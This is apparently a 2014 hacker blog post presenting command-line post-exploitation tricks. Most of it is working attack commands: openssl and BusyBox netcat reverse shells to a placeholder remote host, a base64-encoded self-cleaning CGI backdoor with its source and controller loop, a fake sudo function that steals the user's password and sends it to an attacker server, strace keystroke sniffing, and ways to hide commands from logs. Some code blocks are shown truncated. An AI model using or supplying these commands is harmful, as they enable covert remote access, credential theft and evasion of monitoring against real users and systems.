Friday, August 1, 2014

Getting Busy at the Command Line

We all can get a little lazy relying on the frameworks that have arisen due to the monetization of offensive skills. In light of this, I wanted to make a short post to inspire people to explore what can still be done by rubbing two sticks together in a shell.
TL;DR - The command line. Use it more, and harder.

Food for Thought

There are thousands of command line tips, tricks, and hacks. I'll toss out a few examples I've used in the last month to get your creativity flowing.

Reverse  SSL Shell:

A simple reverse shell using fifos and openssl s_client. There's a great deal you can do with this tool, take a look at the server options.
mkfifo /tmp/sfd; /bin/bash -i < /tmp/sfd 2>&1 | openssl s_client -quiet -connect <RHOST>:<RPORT> > /tmp/sfd; rm /tmp/sfd

Resurrecting Netcat:

There are plenty of ways (pipes) to resurrect good old netcat, but have you ever looked inside of the nc applet in BusyBox? [-e PROG] is still a valid argument.
busybox nc <RHOST> <RPORT> -e /bin/busybox ash

CGI Shell via BusyBox Httpd:

Ever browse the source of some of the tools on your box? Here's a little cgi shell using the httpd applet in BusyBox.

Httpd Backdoor
mkdir -p /tmp/s/cgi-bin;(base64 -d <<<IyEvYmluL2Jhc2gKaWYgWyAiJFJFUVVFU1RfTUVUSE9EIiA9PSAiSEVBRCIgXSAmJiBbICIkSFRUUF9VU0VSX0FHRU5UIiA9PSAibm9wZSIgXTsgdGhlbgogICAgQz0kKGJhc2U2NCAtZCA8PDwgJFFVRVJZX1NUUklORykKICAgIGlmIFsgIiRDIiA9PSAiZXhpdCIgXTsgdGhlbgogICAgICAgIGVjaG8gIkNsZWFuIgogICAgICAgIHJtIC4vcAogICAgICAgIGtpbGwgJChwZ3JlcCBidXN5Ym94KQogICAgIGZpCiAgICAgZWNobyAkKGJhc2ggLWMgIiRDIikKZmkK)>/tmp/s/cgi-bin/p;chmod +x /tmp/s/cgi-bin/p; busybox httpd -f -p <LPORT> -h /tmp/s/; rm -rf /tmp/s/

Self-Cleaning CGI Bash Shell
Our backdoor is in the base64 above, and looks like the following.

Maybe we want to restrict access by HTTP method or user agent? We can utilize the env vars passed to the httpd. Might as well clean up after ourselves while we are at it.
if [ "$REQUEST_METHOD" == "HEAD" ] && [ "$HTTP_USER_AGENT" == "nope" ]; then
    C=$(base64 -d <<< $QUERY_STRING)
    if [ "$C" == "exit" ]; then
        echo "Clean"
        rm ./p
        kill $(pgrep busybox)
     echo $(bash -c "$C")
Now whip up a quick loop on our controlling host that meets our triggers.
while [ "$COMMAND" != "exit" ]; do
    read -p "$ " COMMAND;
    echo -e "HEAD /cgi-bin/p?$(base64<<<$COMMAND) HTTP/1.0\nHost:\nUser-Agent: nope\n\n" | ncat <HOST> <PORT>;

RSA Keys as Vars:

Need our httpd cgi shell encrypted? Why not toss some RSA keys into variables via file pipes.
myfullKey=$(openssl genrsa 2048 -outfile)
mypubkey=$(openssl rsa -in <(echo "$myfullKey") -pubout)
To get around key to data size issues, (and be more correct) use these to handle symmetric keys.
I'll leave exact implementation up to you. The point of this post is to inspire ideas, get tinkering!
openssl aes-256-cbc [-d] -pass pass:<symetric_key> -a

Privileged Escalation with Shell Wrappers:

last and history tell us a user logs on frequently and uses the sudo command.
We could use LD_PRELOAD... or simply wrap sudo in a argument expanding function.

We force a sudo timeout, fake an incorrect password entry, send the password encrypted to our server, then issue the user's original command by expanding their arguments.
sudo () 
    /bin/echo [sudo] password for $USER:; 
    read -s yoink; 
    openssl s_client -quiet -no_ign_eof -connect <RHOST>:<RPORT> <<<$USER:$yoink 2> /dev/null; 
    echo "Sorry, try again."; 
    /usr/bin/sudo -k; /usr/bin/sudo "$@";
Why bother cracking a password when you can have a user type it for you?
This can also be done with an alias. Which can be hidden with control characters (think ^M).

Spy on Stdin by Tracing System Calls:

Need to know what a user is typing in their tty?
sudo strace -f -p <tty_pid> 2>&1 | grep -o -e 'read(., \".*", 1)'
Note: We follow forks with -f in order to grab subprocess and sudo password input.

Fun with stdin Pipes:

Don't want the user to see your sudo wrapper, a command, or specific argument? There are dozens of ways to avoid logging with escapes and sub-shells (mail, gdb, ash).

But what about creating a pipe of standard in?
$(< /dev/stdin)
<anything you want>
How could you further hide the process with shell wrappers, aliases, symlinks, exec renames?
What I'm getting at here is, never underestimate the power of leveraging built-in tools in unintended ways.

The Mindset

For me, this style of thinking is the true sense of "hacking." Learning about an environment or system until you understand what you can make it do, irrespective of what it was intended to do.

Next time you look at a system, environment, or command, ask yourself the following. Does it: create sockets, alter data, read files, elevate privileges, control the flow of data, alter appearances to a user or process, impact commands before or after execution, alter keyboard entry, import anything from anywhere... ? The list and impact is only limited by your creativity.

Enough soap-boxing, have a fun time in Las Vegas! Be safe.

Go learn something ...